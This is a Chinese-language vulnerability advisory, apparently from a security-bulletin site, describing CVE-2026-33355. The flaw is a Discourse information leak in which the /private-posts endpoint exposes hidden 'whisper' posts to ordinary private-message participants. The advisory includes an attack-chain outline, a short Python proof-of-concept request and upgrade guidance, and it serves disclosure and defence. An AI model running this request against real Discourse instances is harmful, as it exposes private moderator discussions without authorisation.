IPBUF安全漏洞报告
English
CVE-2026-33355 CVSS 6.5 中危

CVE-2026-33355 Discourse信息泄露漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-33355
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

信息泄露Discourse权限绕过CVE-2026-33355Web安全

漏洞概述

Discourse开源讨论平台在特定版本之前存在严重的信息泄露漏洞。由于`/private-posts`端点未正确应用帖子类型的可见性过滤机制,导致拥有私信访问权限的普通用户可以越权查看本该仅对管理员或特定角色可见的“耳语”帖子。该漏洞使得私密会话中的敏感管理信息面临泄露风险,建议管理员尽快升级至修复版本以消除安全隐患。

技术细节

该漏洞源于Discourse后端在处理`/private-posts`端点请求时,未对帖子类型进行严格的可见性校验。在Discourse的私信机制中,存在一种特殊的帖子类型称为“Whisper”,通常仅用于管理员或特定角色之间的私密交流,普通私信参与者不应具备查看权限。然而,受影响版本的代码逻辑在序列化私信数据时,遗漏了对`post_type`字段的过滤检查。当攻击者作为一个普通PM参与者,向`/private-posts`发送请求获取特定主题的帖子列表时,服务器直接返回了数据库中的原始记录,未剔除Whisper类型的帖子。这使得攻击者无需进行复杂的攻击操作,仅利用正常的API访问流程,即可被动接收并查看到本应被隐藏的敏感管理信息或内部讨论内容。

攻击链分析

STEP 1
侦察
攻击者识别目标Discourse实例,并确认自己是某个私密消息(PM)主题的参与者。
STEP 2
利用
攻击者使用已认证的会话,向`/private-posts`端点发送请求,获取该PM主题的帖子列表。
STEP 3
数据泄露
服务器返回包含所有帖子类型的响应,攻击者解析响应数据,提取出本应被过滤的“Whisper”帖子内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-33355 # This script demonstrates how a low-privileged user can access hidden whisper posts # via the /private-posts endpoint due to missing visibility filtering. target_url = "https://target-discourse-instance.com/private-posts" # Assume the attacker has a valid session cookie for a user with access to the PM session_cookie = "_forum_session=valid_session_cookie_here" # Example topic ID known to the user topic_id = "12345" headers = { "Cookie": session_cookie, "User-Agent": "CVE-2026-33355-POC/1.0" } params = { "topic_id": topic_id } try: response = requests.get(target_url, headers=headers, params=params, verify=False) if response.status_code == 200: data = response.json() # Check if whisper posts are present in the response print("Successfully retrieved private posts data.") print("Response snippet:", data) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

防御指南

临时缓解措施
建议立即应用官方发布的补丁进行升级。如果无法立即升级,应严格限制普通用户对私信功能的访问权限,或通过WAF规则临时拦截对`/private-posts`端点的非必要访问,直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表